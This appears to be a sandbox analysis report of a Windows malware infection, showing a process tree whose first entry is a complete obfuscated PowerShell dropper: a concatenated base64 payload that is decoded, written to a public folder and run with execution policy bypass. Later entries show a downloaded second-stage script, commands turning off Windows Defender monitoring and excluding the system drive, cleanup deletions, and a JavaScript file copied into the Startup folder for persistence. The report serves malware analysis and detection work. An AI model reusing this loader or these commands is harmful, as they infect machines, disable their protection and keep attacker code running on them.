'sMTkwLDE4NCwyMTEsMTksMjUwLDIyNiwxMTUsMjI5LDEyNSw2NywyMDgsMTQwLDg4LDIyNiwxMDksMTQ2LDE2NSwxNzUsMjI3LDI5LDI1NCwyMDcsMTEyLDIyNSw2OCw3MSwyMz' + 'A' + 'sMTQwLDc5LDI' + '0' + 'OCwxMjYsMTMwLDIxMywxNDQsMjMyLDE5LDIyNiwyMzcsMTE5LDIwMyw4NCw3OCwyMjQsMTc4LDk1LDE2MSwxMTYsMTY4LDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDYsMTY3LDg' + '0' + 'LDI1NCwxMjEsMTUwLDEzMSwxNjYsMjI1LDI' + '0' + 'LDIzNywyNTIsNjQsMTkwLDEyMSw2LDIyOSwxODUsMTE' + '0' + 'LDE5Miw4NSwxNzIsMjEyLDI' + '0' + 'NywyNTQsMzIsMjEyLDIyNSwxMj' + 'A' + 'sMjE5LDExMCwxMjIsMjI5LDE4Miw4NCwyMzksMTEwLDE1MywxNzQsMjQ' + '0' + 'LDI1MCw4LDIwMCwyMjYsNjksMj' + 'A' + 'zLDExMCw2OCwyMz' + 'A' + 'sMTYyLDQzLDI1Myw4NSwxMzQsMTQ3LDE3NSwyNT' + 'A' + 'sMjQsMjM3LDE2MCw5OCwyMjksMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNTEsMTMsMjM3LDIyNCwxMTIsMjI1LDg4LDExMSwyMTEsMTY3LDc1LDI' + '0' + 'MSwxMDMsMTQ2LDE2NSwxNz' + 'A' + 'sMj' + 'A' + '4LDEyMSwyMzMsMTY2LDY' + '0' + 'LDIxMiw4MCw5NywyMz' + 'A' + 'sMTQwLDQ2LDE2MCwxMj' + 'A' + 'sMTcwLDEyOCwxNzMsMjEzLDEzLDIzOCwyMzgsNjcsMTkwLDExNCwxMTcsMjIyLDE2Niw3NiwyMzksMT' + 'A' + '5LDE1MywxNz' + 'A' + 'sMTg3LDI1MCw4LDI1NCwxOTYsMTIwLDIxNiwxMDYsODgsMj' + 'A' + 'wLDE2Miw5NSwyNDgsMT' + 'A' + 'xLDE1MywxODIsMjQyLDIyNywxOSwyNDYsMjUxLDY3LDIyNiwxMT' + 'A' + 'sMTExLDIzMSwxND' + 'A' + 'sMTE' + '0' + 'LDE2NiwxMDksMTQ2LDEzNSwxNzcsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjUsMTcwLDIyNiw' + '0' + 'OSwyNDksMTYzLDExNSwyMzEsMTE4LDExMiwyMz' + 'A' + 'sMTM2LDk1LDE3NSwxMjYsMTMzLDE2NSwxNjYsMjU' + '0' + 'LDYwLDE5NSwyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxODIsMTc5LDIzMiwzMSwyNT' + 'A' + 'sMjMxLDY4LDIxOCwxMDYsNjYsMjMwLDE4MSwxMTMsMTYwLDk3LDE3MiwxMzYsMTg' + '0' + 'LDIxMywzLDI1MCwyNTUsNjcsMj' + 'A' + 'yLDEyNiw3OCwyMz' + 'A' + 'sMjEwLDc2LDI1MCwxMT' + 'A' + 'sMjQyLDE4MSwxNzQsMjUxLDEzLDIzNywyMjQsMTEyLDIyNSw4OCwxMTEsMjExLDE2Nyw3NSwyMjksMTI2LDEzNSwxNDQsMTUxLDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIyMCwxODEsMTEzLDE2MCw4NSwxNzIsMTc4LDI' + '0' + 'MiwyNT' + 'A' + 'sMTUsMjMzLDIzMSwxMDksMj' + 'A' + '3LDEyNSw2NCwyMjUsMTY1LDc5LDIyNSwxMjMsMTMwLDE2NiwxNjMsMjEwLDM4LDI1MCwyNT' + 'A' + 'sMTIxLDIyMywxMT' + 'A' + 'sMTIzLDIwMiwxODEsMTE4LDIwOSwxMDIsMTcwLDE5MCwxOD' + 'A' + 'sMjUwLDI' + '0' + 'LDIzOCwxNzUsMT' + 'A' + '' + '0' + 'LDIwMSw1LDYsMjI' + '0' + 'LDE2Miw' + '0' + 'NywyMTcsODMsMTUwLDE1NiwxNzgsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjYsMTYzLDIyOCwzNywyNT' + 'A' + 'sMjI2LDY5LDIwMyw4MCw2NywyMjIsMTc4LDQzLDIyMCw4NSwxNzUsMTgyLDE3MywyMT' + 'A' + 'sMzgsMTQ5LDIyNCwxMTYsMTkwLDEwNiw3OCwyMjQsMTQwLDExNCwyNTIsMT' + 'A' + '5LDE1MywxNjksMTgwLDIyOSwyOCwyMzQsMjM4LDY2LDE5MCw4NCw5NSwyMz' + 'A' + 'sMTY3LDQ2LDE2MCwxMj' + 'A' + 'sMTczLDEyOCwxODQsMj' + 'A' + '4LDE5LDI1NCwyNTEsMTEyLDIyNiw4MCw3LDIyMiwxNzgsMTIxLDI1Myw5OCwxMzMsMTY2LDEzMCwyMzUsMTIyLDIwMCwyMDYsMTE5LDIyMyw3NSw4MCwyMDEsMTY5LDEyMSwxNjMsMTIyLDEzMCwxNDMsMTM4LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNTMsODYsMjQzLDE2MSwyND' + 'A' + 'sMj' + 'A' + '4LDE5LDE5MiwxOTMsNjcsMjI1LDEyLDEsMj' + 'A' + 'zLDE' + '0' + 'MSw2OCwyMz' + 'A' + 'sODQsMTc1LDE4MiwyND' + 'A' + 'sMjMyLDI4LDIxMiwxOTgsNjYsMjI1LDUsNywyMjIsMTgyLDgwLDE2NiwxMjQsMTMwLDE4MiwxNDQsMjUyLDE' + '0' + 'LDIzMCwyNDksMTE5LDE4OSw4NCw5NywyMD' + 'A' + 'sMTYyLDkyLDI' + '0' + 'NCw5NywxNDgsMTM2LDE4MCwyMTMsMTMsMjM4LDE2Nyw2NiwyMjQsMTIsMSwyMDMsMTQwLDQzLDI1MCw4MywxODQsMTMxLDE4NSwyNT' + 'A' + 'sMjQsMjE5LDI' + '0' + 'MCwxMDcsMj' + 'A' + 'xLDc5LDYsMj' + 'A' + 'zLDE2NCw2OCwyMTMsMT' + 'A' + 'xLDE3MiwyMDgsMTc4LDI' + '0' + 'OCwxMywyMTYsMjM4LDEyMywyMTksMT' + 'A' + 'yLDgzLDIwNiwxNjQsMT' + 'A' + '5LDE2NywxMj' + 'A' + 'sMTMyLDE5MCwxMz' + 'A' + 'sMjI3LDM4LDE1MiwyMzEsMT' + 'A' + '' + '0' + 'LDE5Niw3NSw4MCwyMDgsMjEwLDcyLDE2NiwxMjMsMTQ4LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMTEwLDI1MSw4Myw4MCwyMDUsMTYyLDk1LDI' + '0' + 'MSw4MSwxNDYsMTY2LDE3MSwyMzIsMTksMjU' + '0' + 'LDI1Myw2NCwyMDcsMTI2LD' + 'A' + 'sMjI2LDE3NiwxMT' + 'A' + 'sMTc1LDExNiwxNjYsMTQ4LDEzMCwyMTIsMTksMjM4LDI1NSw2NiwxOTEsMTEzLDY3LDIxMywxOD' + 'A' + 'sNDcsMTk' + '0' + 'LDEwMCwxNDYsMTY1LDI' + '0' + 'NiwyNDgsMT' + 'A' + 'sMTQ1LDE3MCk7DQokV1hmbTZwID' + '0' + 'gQCgxMzQsNjksOSw1LDM1LDIxMCwxNjQsMjM5LDIzNywxOTksNTQsMjIxLDEzMSwxMSw5MiwzNikgOw' + '0' + 'KW3ZvaWRdKFtNYXRoXTo6UG' + ' + 9 + ' + '3KDk3LC' + 'A' + '' + '0' + 'KSkgOw' + '0' + 'KJFBvQ3hMTy' + 'A' + '' + ' + 9 + ' + 'IE' + 'A' + 'oNTUsMTQsMTY1LDE' + '0' + 'NiwyLDk' + '0' + 'LDE1MiwyMTYsMT' + 'A' + '1LDM4LDQwLDc1LDE4MCwyMDIsMTg' + '0' + 'LDIyOSkgOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gSW5pdENvbnRleHQ3MygkZCwgJGEsICRiKSB7DQogIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDID' + '0' + 'gJycgOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGQuTGVuZ3RoOy' + 'A' + 'kaSsrKSB7DQogIC' + 'A' + 'gIC' + 'A' + 'gIFt2b2lkXSgkaS' + 'A' + 'qIDE3ICsgMTg4KTsNCi' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGRbJGldIC1ieG' + ' + 9 + ' + 'yICRiWyRpICUgJGIuTGVuZ3RoXSkgLWJ4b3IgJGFbJGkgJS' + 'A' + 'kYS5M' + 'ZW' + '5ndGhdKTsNCi' + 'A' + 'gICB' + ' + 9 + ' + 'DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRvU' + '0' + 'VKQzsNCn' + '0' + 'NCg' + '0' + 'KJHdlaEZKID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKEluaXRDb25' + '0' + 'ZXh' + '0' + 'NzMgJGQ4R2ggJFBvQ3hMTy' + 'A' + 'kV1hmbTZwKSkpOw' + '0' + 'KW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCR3' + 'ZW' + 'hGSikuSW52b2tlKCk7IC' + 'A' + 'gIC' + 'A' + 'NCg' + '0' + 'KOw' + '0' + 'KfSBjYXRjaHsNCn' + '0' + 'NCg' + '0' + 'KW1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIC1ib3IgW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMy' + 'A' + '7DQoNCjskc215eEs7DQo7RnVuY3Rpb24gQnBYUnV7Ow' + '0' + 'KO1tieXRlW11dJERWS1lQID' + '0' + 'gW3N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZyggJHNteXhLICk7DQo7JEdGbEhTID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoICREVktZUC' + 'A' + 'pOw' + '0' + 'KO3JldHVybi' + 'A' + 'kR' + '0' + 'ZsSFM7DQp' + ' + 9 + ' + 'Ow' + '0' + 'KDQokemRtTFEgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd4emx2Zy5' + '0' + 'eHQnKS' + 'A' + '7JHhubmJTID' + '0' + 'gJ2FIUjBjSE' + '0' + '2THknICsgKCc4d' + '0' + '1uUmxjM1JsTCRfJF8kXyRfJF8kX' + '0' + '5qTD' + 'A' + 'xaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'kaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'sdVlTOVVNRE11ZCcgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdIaD' + 'A' + 'nIDskc215eEsgPS' + 'A' + 'keG5uYlM7ICR4bm5iUy' + 'A' + '' + ' + 9 + ' + 'IEJwWFJ1IDskeG5uYlMgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJHpkbUxRIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'naGt' + '0' + 'aGwudHh' + '0' + 'JykgOyRjeGZkcy' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRjeGZkcy5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRjeGZkcy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRjeGZkcy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRjeGZkcy5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskY3hmZHMuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskV1lCVkUgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kemRtTFEgKS' + 'A' + '7JGtzbEJmID' + '0' + 'gJGN4ZmRzLkRvd25sb2FkRGF' + '0' + 'YSggJFdZQlZFLlRyaW' + '0' + 'oKS' + 'A' + 'pIDskamxicWogPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygka3NsQmYpIDskamxicWogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkamxicWosJ1wleCUrJykpWzFdKS5UcmltKCkgOyRqbGJxaiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JG1xaGtIID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JEFXRGNVID' + '0' + 'gJG51bGw7OyRwamZseC' + 'A' + 'rPS' + 'A' + 'nOyRjYXJhY3RlcmVzID' + '0' + 'gQCg' + '0' + 'OCw1MCwxMTYsMT' + 'A' + 'xLDExNSwxMTYsMT' + 'A' + 'xLDQ2LDk5LDk5LDQ3KTskckJtQ3UgPSBbY2hhcltdXSRjYXJhY3RlcmVzIC1qb2luICcnJyc7IDsnIDskcGpmbHggKz' + '0' + 'gJyR6Q' + '0' + 'FRdC' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICRyQm1DdS' + 'A' + 'rICcnTWFyZ2FyaW5hJycgKy' + 'A' + 'nJ1BlWWVzJycpIDsnIDskcGpmbHggKz' + '0' + 'gJyRPSUxiVi' + 'A' + '' + ' + 9 + ' + 'ICcnJWJhc2U2NCVaV2RwWlVKNVpHVmxVeTluY2' + '0' + '4dWRHVnVMV' + '0' + '11WlhSellY55qEdkx6cHpjSFIwYeeahD' + '0' + '' + ' + 9 + ' + 'JycgOyRPSUxiVi' + 'A' + '' + ' + 9 + ' + 'ICgkT' + '0' + 'lMYlYgLXJlcGxhY2UgJyfnmoQnJy' + 'A' + 'sICcnQScnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + 'A' + 'rICcnbGljXCcnICsgJydoa3RobC5' + '0' + 'eHQnJykgOyRybWxkZi' + 'A' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJHJtbGRmIC1yZXBsYWNlICcnICcnLC' + 'A' + 'nJycnIDsnIDskcGpmbHggKz' + '0' + 'gJ1tieXRlW11dJGZycnh5ID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskcGpmbHggKz' + '0' + 'gJyRmcnJ4eS' + 'A' + '' + ' + 9 + ' + 'ICgkcm1sZGYgIC1zcGxpdC' + 'A' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JHBqZmx4ICs' + ' + 9 + ' + 'ICckcmNqTG4gPSBbU3lzdGVtLicgKy' + 'A' + 'kbXFoa' + '0' + 'ggKy' + 'A' + 'nLicgKy' + 'A' + 'kSEl3WVogKy' + 'A' + 'nXTo6Jy' + 'A' + 'rICRTRGR3dy' + 'A' + 'rICcoICRmcnJ4eS' + 'A' + 'pOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJHNlQWhKID' + '0' + 'gJHJjakxuLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + 'A' + 'pOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nOy' + 'A' + 'kV' + '0' + 'pad' + '0' + 'IgPS' + 'A' + 'nJ' + '0' + 'QgRERDOlxXaW5kb3dzXE1pY3Jvc2' + ' + 9 + ' + 'mdC5ORVRcRnJhbWUnICsgJ3dvcms2NFx2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycgOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJENTWXRVID' + '0' + 'gJHNlQWhKLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + 'A' + 'rICRzWUtVUi' + 'A' + 'rICcoICRBV' + '0' + 'RjVS' + 'A' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + 'A' + 'kT' + '0' + 'lMYlYgLC' + 'A' + 'nJyV2VmxHeiUnJy' + 'A' + 'sICRXSlp3QiwgJyckZmFsc2UnJywgJHpDQVF' + '0' + 'ICkgKTsnIDskdWpvblggPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdiYnRxbF8wMS5wczEnICkgOyRwamZseCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kdWpvblggLWZvcmNlIDs7cG' + ' + 9 + ' + '3ZXJzaGVsbC' + 'A' + 'tRXhlY3V' + '0' + 'aW' + ' + 9 + ' + 'uUG' + ' + 9 + ' + 'saWN5IGJ5cGFzcy' + 'A' + 'tRmlsZS' + 'A' + 'kdWpvblggOw==' ;;$sPaFf ;;$WsBve = ($zXkuP + $sPaFf) ;;$substituir = $WsBve ;$substituir = $substituir.replace('''',$dlysw) ;$substituir = $substituir.replace('+ ',$dlysw) ;$substituir = $substituir.replace(' ',$dlysw) ;Function minhaFuncao{;$QzdYl = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $substituir ));return $QzdYl;};$cYAtA = minhaFuncao; $cYAtA = ($cYAtA -replace '%vVlGz%','C:\Users\Public\pwxsbçš„è¿™äº”js') ;$minhapastadois = 'C:\Users\Public\hqwnc.p' + 's1' ; $cYAtA | Out-File -Fi $minhapastadois -for ; powershell -executionpolicy bypass -f $minhapastadois ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -f C:\Users\Public\hqwnc.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1540
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /release
        5⤵
        Gathers network information
        
        PID:460
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /renew
        5⤵
        Gathers network information
        
        PID:3904
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1664
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" int ip reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:596
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kru1vkfm\kru1vkfm.cmdline"
        5⤵
        
        PID:4336
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\bbtql_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2220
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778719957.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4540
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1736
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1632
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2984
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6f9d.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4776
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4880
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6fc1.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3408
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1712
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6f9d.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2776
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4820
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6fc1.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3296
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4636
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\bbtql_01.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4988
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4368
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hkthl.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5100
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3000
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hqwnc.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4068
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4056
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pwxsb.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4960
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2308
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xzlvg.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4592
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:556
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\pwxsbçš„è¿™äº”js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwxsbçš„è¿™äº”js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:528
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4380
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\pwxsbçš„è¿™äº”js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3216
        
